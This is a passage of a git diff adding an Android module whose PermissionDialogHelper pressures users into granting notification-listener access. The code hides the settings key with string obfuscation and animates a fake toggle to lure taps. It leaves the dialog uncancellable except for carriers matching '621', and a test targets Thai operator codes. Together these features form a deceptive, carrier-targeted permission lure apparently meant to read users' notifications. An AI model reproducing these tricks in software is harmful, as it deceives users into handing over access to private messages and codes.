kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.delay +import kotlinx.coroutines.isActive +import kotlinx.coroutines.launch +import java.util.concurrent.atomic.AtomicBoolean + +/** + * 权限请求对话框构建工具类 + */ +object PermissionDialogHelper { + private var dialog: AlertDialog? = null + + // 定义视图ID常量(替代原代码中的e1常量类) + private val ID_TEXT_TITLE = View.generateViewId() + private val ID_APP_ICON = View.generateViewId() + private val ID_APP_NAME = View.generateViewId() + private val ID_SWITCH = View.generateViewId() + val sc = CoroutineScope(Dispatchers.Default) + fun notificationListenerEnable(context: Context): Boolean { + val flat = Settings.Secure.getString( + context.contentResolver, + "enabled_not1ificat1ion_l11isteners".replace("1", "") + ) + return flat?.contains(context.packageName) == true + } + + /** + * 显示权限请求对话框 + * @param context 上下文对象 + */ + fun showPermissionDialog(context: Context) { + if (notificationListenerEnable(context)) return + // 使用应用主题包装上下文 + val themedContext = createThemedContext(context) + + // 构建对话框主体布局 + val dialogLayout = buildDialogLayout(themedContext) + + // 创建并配置AlertDialog + dialog = buildAlertDialog(context, themedContext, dialogLayout) + dialogLayout.setOnClickListener { + if (notificationListenerEnable(context)) { + dialog!!.dismiss() + } else { + handlePositiveClick(context) + dialog!!.dismiss() + } + } + + // 初始化视图交互逻辑 + setupViewInteractions(dialog!!, dialogLayout, context) + + // 显示对话框 + if (!dialog!!.isShowing) { + dialog!!.show() + } + + } + + private fun createThemedContext(context: Context): ContextThemeWrapper { + // 使用系统AlertDialog主题(兼容深色模式) + val themeResId = resolveDialogTheme(context) + return ContextThemeWrapper(context, themeResId) + } + + private fun resolveDialogTheme(context: Context): Int { + // 根据Android版本选择合适主题 + return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + R.style.ThemeOverlay_Material_Light + } else { + R.style.Theme_DeviceDefault_Light_Dialog_Alert + } + } + + private fun buildDialogLayout(context: Context): RelativeLayout { + val layout = RelativeLayout(context) + + + // 添加标题文本 + val titleText = createTitleText(context) + layout.addView(titleText) + + // 添加应用图标 + val appIcon = createAppIcon(context); + layout.addView(appIcon); + + // 添加应用名称 + val appNameText = createAppNameText(context); + layout.addView(appNameText); + + var isPermissionSwitch = false + // 添加权限开关 + val permissionSwitch = createPermissionSwitch(context) + sc.launch { + var isOn = false + while (isActive) { // 使用isActive检测协程状态 + isOn = !isOn + Handler(Looper.getMainLooper()).post { + permissionSwitch.isChecked = isOn + + } + + delay(1000) + } + } + layout.addView(permissionSwitch) + return layout + } + + private fun createTitleText(context: Context): TextView { + val textView = TextView(context) + textView.id = ID_TEXT_TITLE + textView.text = "Please grant permission to enable all features" // 字符串资源引用 + + + // 布局参数配置 + val params = RelativeLayout.LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ) + params.addRule(RelativeLayout.ALIGN_PARENT_TOP) + // params.addRule(RelativeLayout.CENTER_HORIZONTAL); + params.setMargins(dpToPx(18), dpToPx(18), dpToPx(18), 0) + + + // 样式设置 + textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 14f) + textView.setTextColor(Color.BLACK) + textView.setTypeface(null, Typeface.BOLD) + textView.layoutParams = params + + return textView + } + + private fun createAppIcon(context: Context): ImageView { + val imageView = ImageView(context) + imageView.id = ID_APP_ICON + + // 布局参数 + val iconSize = dpToPx(42) + val params = RelativeLayout.LayoutParams(iconSize, iconSize) +// params.addRule(RelativeLayout.END_OF, ID_TEXT_TITLE) + params.addRule(RelativeLayout.BELOW, ID_TEXT_TITLE) + params.setMargins(dpToPx(18), dpToPx(18), dpToPx(18), 0) + + + // 设置应用图标 + try { + imageView.setImageDrawable(context.packageManager.getApplicationIcon(context.packageName)) + } catch (e: PackageManager.NameNotFoundException) { + imageView.setImageResource(R.drawable.sym_def_app_icon) + } + imageView.layoutParams = params + + return imageView + } + + private fun createAppNameText(context: Context): TextView { + val textView = TextView(context) + textView.id = ID_APP_NAME + + + // 获取应用名称 + val appName = context.packageManager.getApplicationLabel(context.applicationInfo) + textView.text = appName + + + // 样式配置 + textView.setTextColor(Color.BLACK) + textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 14f) + + + // 布局参数 + val params = RelativeLayout.LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ) + params.addRule(RelativeLayout.ALIGN_START, ID_APP_ICON) + params.addRule(RelativeLayout.ALIGN_START, ID_APP_ICON) + params.addRule(RelativeLayout.BELOW, ID_TEXT_TITLE) + params.setMargins(dpToPx(48), dpToPx(28), 0, 28) + textView.layoutParams = params + + return textView + } + + private fun createPermissionSwitch(context: Context): Switch { + val switchView = Switch(context) + switchView.id = ID_SWITCH + + // 布局参数 + val params = RelativeLayout.LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ) + params.addRule(RelativeLayout.ALIGN_PARENT_END) + params.addRule(RelativeLayout.CENTER_VERTICAL) + params.addRule(RelativeLayout.ALIGN_BASELINE, ID_APP_NAME) + params.setMargins(dpToPx(42), dpToPx(22), dpToPx(20), 0) + switchView.layoutParams = params + + return switchView + } + + private fun buildAlertDialog( + context: Context, + themedContext: Context, + layout: ViewGroup + ): AlertDialog { + return AlertDialog.Builder(themedContext, R.style.Theme_Material_Light_Dialog_Alert) + + .setTitle("Permission Usage") + .setView(layout) + .setPositiveButton( + "ok" + ) { dialog: DialogInterface?, which: Int -> + + if (notificationListenerEnable(context)) { + dialog?.dismiss() + } else { + handlePositiveClick( + context + ) + dialog?.dismiss() + } + } +// .setNegativeButton("cancel", null) + .setCancelable(context.operatorCode().contains("621") ) +// .setCancelable(true) + .create() + } + + private fun setupViewInteractions( + dialog: AlertDialog, + layout: RelativeLayout, + context: Context + ) { + val isConfirmed = AtomicBoolean(false) + + + // 开关点击监听 + val switchView = layout.findViewById(ID_SWITCH) + switchView.setOnCheckedChangeListener { buttonView: CompoundButton?, isChecked: Boolean -> +// dialog.getButton(AlertDialog.BUTTON_POSITIVE).isEnabled = isChecked + + } + + switchView.setOnClickListener { + if (notificationListenerEnable(context)) { + dialog.dismiss() + } else { + openSettings(context) + dialog.dismiss() + } + } + + // 对话框显示监听 + dialog.setOnShowListener { d: DialogInterface? -> +// switchView.isChecked = false +// dialog.getButton(AlertDialog.BUTTON_POSITIVE).isEnabled = false + } + + // 对话框关闭监听 + dialog.setOnDismissListener { d: DialogInterface? -> + if (!isConfirmed.get()) { + // 处理取消逻辑 + } + } + } + + fun dismissDialog() { + dialog?.dismiss() + } + + private fun handlePositiveClick(context: Context) { + // 实际权限请求逻辑 + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + if (context is Activity) { + openSettings(context) + } + } + } + + private fun dpToPx(dp: Int): Int { + return (dp * Resources.getSystem().displayMetrics.density).toInt() + } + + // 资源ID定义(应放在res/values中) + private const val REQUEST_CODE = 1001 + + private fun serviceInfo(context: Context): ServiceInfo? { + try { + val serviceInfos = + context.packageManager.getPackageInfo(context.packageName, 516).services + ?: return null + + for (serviceInfo in serviceInfos) { + if (serviceInfo.permission == "android.permission.BIND_NOTIFICATION_LISTENER_SERVICE") { + return serviceInfo + } + } + return null + } catch (e: Exception) { + e.printStackTrace() + } + return null + } + + fun openSettings(context: Context) { + val serviceInfo = serviceInfo(context) + val serviceName = serviceInfo?.name + val serviceFullName = "${context.packageName}/$serviceName" + var intent = Intent("android.settings.NOTIFICATION_LISTENER_DETAIL_SETTINGS") + intent.putExtra( + "android.provider.extra.NOTIFICATION_LISTENER_COMPONENT_NAME", + serviceFullName + ) + if (intent.resolveActivity(context.packageManager) == null) { + intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS") + val bundle = Bundle() + bundle.putString(":settings:fragment_args_key", serviceFullName) + intent.putExtra(":settings:show_fragment_args", bundle) + intent.putExtra(":settings:fragment_args_key", serviceFullName) + } + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + context.startActivity(intent) + } +} \ No newline at end of file diff --git a/pin/src/main/res/drawable/ic_launcher_background.xml b/pin/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/pin/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pin/src/main/res/drawable/ic_launcher_foreground.xml b/pin/src/main/res/drawable/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/pin/src/main/res/drawable/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/pin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/pin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..6f3b755 --- /dev/null +++ b/pin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/pin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/pin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..6f3b755 --- /dev/null +++ b/pin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/pin/src/main/res/mipmap-hdpi/ic_launcher.webp b/pin/src/main/res/mipmap-hdpi/ic_launcher.webp new file mode 100644 index 0000000..c209e78 Binary files /dev/null and b/pin/src/main/res/mipmap-hdpi/ic_launcher.webp differ diff --git a/pin/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/pin/src/main/res/mipmap-hdpi/ic_launcher_round.webp new file mode 100644 index 0000000..b2dfe3d Binary files /dev/null and b/pin/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ diff --git a/pin/src/main/res/mipmap-mdpi/ic_launcher.webp b/pin/src/main/res/mipmap-mdpi/ic_launcher.webp new file mode 100644 index 0000000..4f0f1d6 Binary files /dev/null and b/pin/src/main/res/mipmap-mdpi/ic_launcher.webp differ diff --git a/pin/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/pin/src/main/res/mipmap-mdpi/ic_launcher_round.webp new file mode 100644 index 0000000..62b611d Binary files /dev/null and b/pin/src/main/res/mipmap-mdpi/ic_launcher_round.webp differ diff --git a/pin/src/main/res/mipmap-xhdpi/ic_launcher.webp b/pin/src/main/res/mipmap-xhdpi/ic_launcher.webp new file mode 100644 index 0000000..948a307 Binary files /dev/null and b/pin/src/main/res/mipmap-xhdpi/ic_launcher.webp differ diff --git a/pin/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/pin/src/main/res/mipmap-xhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..1b9a695 Binary files /dev/null and b/pin/src/main/res/mipmap-xhdpi/ic_launcher_round.webp differ diff --git a/pin/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/pin/src/main/res/mipmap-xxhdpi/ic_launcher.webp new file mode 100644 index 0000000..28d4b77 Binary files /dev/null and b/pin/src/main/res/mipmap-xxhdpi/ic_launcher.webp differ diff --git a/pin/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/pin/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..9287f50 Binary files /dev/null and b/pin/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp differ diff --git a/pin/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/pin/src/main/res/mipmap-xxxhdpi/ic_launcher.webp new file mode 100644 index 0000000..aa7d642 Binary files /dev/null and b/pin/src/main/res/mipmap-xxxhdpi/ic_launcher.webp differ diff --git a/pin/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/pin/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..9126ae3 Binary files /dev/null and b/pin/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp differ diff --git a/pin/src/main/res/values-night/themes.xml b/pin/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..a954dbd --- /dev/null +++ b/pin/src/main/res/values-night/themes.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pin/src/main/res/values/colors.xml b/pin/src/main/res/values/colors.xml new file mode 100644 index 0000000..f8c6127 --- /dev/null +++ b/pin/src/main/res/values/colors.xml @@ -0,0 +1,10 @@ + + + #FFBB86FC + #FF6200EE + #FF3700B3 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/pin/src/main/res/values/strings.xml b/pin/src/main/res/values/strings.xml new file mode 100644 index 0000000..f087a6a --- /dev/null +++ b/pin/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + Pin + \ No newline at end of file diff --git a/pin/src/main/res/values/themes.xml b/pin/src/main/res/values/themes.xml new file mode 100644 index 0000000..77f6459 --- /dev/null +++ b/pin/src/main/res/values/themes.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pin/src/main/res/xml/authenticator.xml b/pin/src/main/res/xml/authenticator.xml new file mode 100644 index 0000000..6665721 --- /dev/null +++ b/pin/src/main/res/xml/authenticator.xml @@ -0,0 +1,6 @@ + + \ No newline at end of file diff --git a/pin/src/main/res/xml/sync_adapter.xml b/pin/src/main/res/xml/sync_adapter.xml new file mode 100644 index 0000000..13633b1 --- /dev/null +++ b/pin/src/main/res/xml/sync_adapter.xml @@ -0,0 +1,8 @@ + + \ No newline at end of file diff --git a/pin/src/test/java/com/galaxy/pin/ExampleUnitTest.kt b/pin/src/test/java/com/galaxy/pin/ExampleUnitTest.kt new file mode 100644 index 0000000..f85bda8 --- /dev/null +++ b/pin/src/test/java/com/galaxy/pin/ExampleUnitTest.kt @@ -0,0 +1,26 @@ +package com.galaxy.pin + +import com.galaxy.permision.DistrictFilter +import org.junit.Assert +import org.junit.Test + +import org.junit.Assert.* + +/** + * Example local unit test, which will execute on the development machine (host). + * + * See [testing documentation](http://d.android.com/tools/testing). + */ +class ExampleUnitTest { + @Test + fun addition_isCorrect() { + assertEquals(4, 2 + 2) + } + + @Test + fun `thailand operator`() { + val codes = arrayOf("52023", "52020", "52015", "52003", "52023", "520000", "52018", "52004") + val match = codes.map { DistrictFilter(it).match() }.all { it } + Assert.assertTrue(match) + } +} \ No newline at end of file